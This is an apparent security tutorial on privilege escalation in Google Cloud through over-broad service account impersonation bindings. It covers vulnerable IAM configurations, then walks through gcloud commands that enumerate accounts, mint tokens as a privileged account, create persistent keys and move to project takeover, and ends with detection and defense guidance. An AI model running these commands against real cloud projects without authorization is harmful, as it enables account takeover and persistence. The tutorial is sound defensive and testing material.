Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Google Cloud Platform service accounts are non-human identities that carry IAM roles and are used by workloads, pipelines, and operators to call GCP APIs. Unlike a user’s own credentials, a service account’s identity can be impersonated by any principal that holds the right IAM permission on that service account resource, without ever needing the service account’s own key material. This design is convenient — it is how Workload Identity, gcloud auth print-access-token --impersonate-service-account, and cross-project automation are supposed to work — but it also means IAM bindings on service accounts are themselves a privilege boundary. If that boundary is misconfigured, impersonation becomes a clean, low-noise privilege escalation path from a lightly privileged principal to a highly privileged one.
This class of escalation rarely shows up in a vulnerability scanner. It is a logic flaw in IAM policy, not a software bug: a project owner grants roles/iam.serviceAccountTokenCreator on a powerful service account to a CI robot, a data-science group, or a third-party integration, and from that moment any member of that binding can mint access tokens for the powerful identity. Attackers who compromise even a modestly privileged principal routinely walk the impersonation graph looking for exactly this kind of edge, because it converts a foothold into roles/editor or roles/owner without tripping key-creation or credential-theft alarms.
Attack Prerequisites
Service account impersonation abuse requires the attacker to already hold some authenticated GCP identity and for that identity to sit at one hop from a more privileged service account. Concretely:
- A compromised or attacker-controlled GCP principal (user, group, or service account) with any valid credentials — an OAuth token, an
application_default_credentials.json, or a GCE/GKE/Cloud Run metadata identity. - That principal holds
roles/iam.serviceAccountTokenCreator,roles/iam.serviceAccountUser, or a custom role containingiam.serviceAccounts.getAccessToken,iam.serviceAccounts.signJwt,iam.serviceAccounts.signBlob, oriam.serviceAccounts.actAson at least one other service account. - The target service account itself holds broader IAM roles than the attacker’s current principal — commonly
roles/editor,roles/owner, or project-levelroles/iam.serviceAccountKeyAdmin. - Optionally,
iam.serviceAccountKeys.createpermission, which allows minting a long-lived JSON key instead of a short-lived token — noisier, but persistent across sessions.
How It Works
Every GCP service account is both an identity and a resource. As a resource, it has its own IAM policy, separate from the project-level policy, that controls who may act *as* it. The roles/iam.serviceAccountTokenCreator role grants iam.serviceAccounts.getAccessToken, getOpenIdToken, signBlob, and signJwt — all of which let the holder obtain a valid, time-limited credential for the target account through the IAM Credentials API (iamcredentials.googleapis.com) without ever seeing a private key. roles/iam.serviceAccountUser grants iam.serviceAccounts.actAs, which is what lets a principal *attach* a service account to a new resource (a VM, a Cloud Function, a Cloud Run revision) that will then run with that account’s permissions.
The escalation path is a graph traversal: the attacker enumerates every service account in the project (or organization) they can see, checks which ones they hold TokenCreator/actAs on, and checks what IAM roles those target accounts hold in turn. Because these bindings can chain — account A can impersonate account B, which can impersonate account C, which holds roles/owner — a single overlooked binding several hops away can be a complete path to project takeover. This graph is rarely audited by hand, which is why IAM-policy scanning tools and Cloud Asset Inventory queries exist specifically to surface it.
A second, cruder path is direct key creation: if the attacker’s principal has iam.serviceAccountKeys.create on the target account (bundled into roles/iam.serviceAccountKeyAdmin or, dangerously, into roles/editor), they can mint a downloadable JSON private key with gcloud iam service-accounts keys create. This produces a portable, long-lived credential that survives outside GCP’s session model, which makes it attractive for persistence but far noisier and easier to revoke once discovered.
Vulnerable Code / Configuration
The most common root cause is roles/editor (the legacy “basic” role) granted to a service account or, worse, to a broad group. roles/editor includes almost every mutating permission in the project, including iam.serviceAccounts.actAs on every other service account and the ability to modify most resources — it is functionally close to roles/owner for anything that doesn’t touch IAM policy directly:
# Auditing an IAM policy binding that quietly grants editor to a robot account
$ gcloud projects get-iam-policy my-project --format=json | jq '.bindings[]'
{
"role": "roles/editor",
"members": [
"serviceAccount:ci-deployer@my-project.iam.gserviceaccount.com"
]
}
# ci-deployer can now actAs / TokenCreator its way into anything
# that also trusts roles/editor-level access.
BashThe second, narrower bug is a service-account-level IAM binding that grants roles/iam.serviceAccountTokenCreator too broadly — for example to an entire group instead of a single automation identity, or on a highly privileged account instead of a scoped one:
// Vulnerable IAM policy on projects/my-project/serviceAccounts/prod-admin@my-project.iam.gserviceaccount.com
{
"bindings": [
{
"role": "roles/iam.serviceAccountTokenCreator",
"members": [
"group:all-engineering@example.com"
]
}
]
}
// Any member of all-engineering@ can mint access tokens for
// prod-admin@ -- which likely holds roles/owner on prod.
JSONA related config bug is leaving iam.serviceAccountKeys.create reachable via a custom role or roles/editor on a service account that also holds high-value roles, and having key creation permitted at the org policy level (no iam.disableServiceAccountKeyCreation constraint):
# Org policy that SHOULD be set to block long-lived key creation,
# but is absent/unenforced in the vulnerable project:
$ gcloud resource-manager org-policies describe \
iam.disableServiceAccountKeyCreation \
--project=my-project
# (empty / not set) -> keys can still be minted for any SA the
# caller has iam.serviceAccountKeys.create on.
BashWalkthrough / Exploitation
Start from whatever credential the foothold provides — a stolen OAuth token, an SDK default credential file, or metadata-server access from a compromised GCE instance — and enumerate identity and access:
# Confirm current identity and project
gcloud auth list
gcloud config get-value project
# Enumerate all service accounts visible in the project
gcloud iam service-accounts list
# For each SA, check its own resource-level IAM policy for bindings
# that grant the current caller impersonation rights
gcloud iam service-accounts get-iam-policy \
prod-admin@my-project.iam.gserviceaccount.comBashConfirm the specific escalation permission, then request an access token for the target account without ever touching its key:
# Verify the current principal actually holds TokenCreator
gcloud iam service-accounts get-iam-policy \
prod-admin@my-project.iam.gserviceaccount.com \
--format='value(bindings)' | grep tokenCreator
# Mint a short-lived access token AS the target service account
gcloud auth print-access-token \
--impersonate-service-account=prod-admin@my-project.iam.gserviceaccount.com
# Or run any gcloud command already impersonating it
gcloud projects get-iam-policy my-project \
--impersonate-service-account=prod-admin@my-project.iam.gserviceaccount.comBashIf persistence beyond one-hour tokens is the goal and the caller also holds iam.serviceAccountKeys.create, download a portable key instead — far louder, and generally avoided unless persistence is explicitly in scope:
gcloud iam service-accounts keys create ./prod-admin-key.json \
--iam-account=prod-admin@my-project.iam.gserviceaccount.com
export GOOGLE_APPLICATION_CREDENTIALS=./prod-admin-key.json
gcloud auth activate-service-account --key-file=./prod-admin-key.json
gcloud projects get-iam-policy my-project # now running as prod-adminBashFrom an impersonated roles/editor/roles/owner identity, full project takeover follows the usual path: grant the attacker’s own account roles/owner, or pivot into attached compute resources that run as other, still-more-privileged service accounts.
Note: The impersonation graph is transitive and often crosses project boundaries via cross-project IAM bindings. Single-project audits routinely miss these; enumerate at the organization or folder level with Cloud Asset Inventory (
gcloud asset search-all-iam-policies) rather than one project at a time.
Opsec: Impersonated access tokens via
iamcredentials.googleapis.comgenerateGenerateAccessTokenentries in Cloud Audit Logs recording *both* the calling identity and the impersonated account — the single most reliable signal for defenders. Key creation is even noisier and outlives the engagement window, so prefer short-lived impersonation tokens wherever assessment scope allows it.
Detection and Defense
Because impersonation is a legitimate, heavily used GCP feature, defense is about tightening the IAM graph and watching the audit trail rather than blocking the feature outright:
- Avoid
roles/editor/roles/owneron service accounts and human principals; use least-privilege predefined or custom roles instead. - Scope
roles/iam.serviceAccountTokenCreatorandroles/iam.serviceAccountUsernarrowly — a single automation identity on a single target service account, never a group or project/folder level. - Enforce the
iam.disableServiceAccountKeyCreationorg policy to force short-lived impersonation tokens or Workload Identity Federation instead of downloadable keys. - Alert on
google.iam.credentials.v1.IAMCredentials.GenerateAccessTokenin Cloud Audit Logs, especially where caller and impersonated account diverge from an established baseline. - Alert on
google.iam.admin.v1.CreateServiceAccountKeyin Admin Activity logs, which fires whenever a new SA key is minted. - Run periodic IAM graph analysis (Cloud Asset Inventory’s IAM policy search or open-source scanners) to surface chained impersonation paths, not just direct project-level roles.
Real-World Impact
Service account impersonation escalation is one of the most common findings in GCP penetration tests and cloud security reviews, because roles/editor was the default “just make it work” grant for years before Google pushed customers toward least-privilege roles, and because CI/CD pipelines routinely need actAs rights that get provisioned too broadly. Google’s own IAM Recommender and Security Command Center both ship dedicated findings for over-privileged and unused service account roles precisely because this misconfiguration recurs across nearly every large GCP estate.
Conclusion
Service account impersonation is powerful precisely because it removes the friction of key management — and that same convenience makes a single over-broad TokenCreator or actAs binding a direct escalation path when it is not scoped tightly. Treat every IAM binding on a service account as a trust boundary, eliminate legacy basic roles, disable standing key creation where possible, and monitor GenerateAccessToken calls as closely as you would monitor a domain admin logon.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments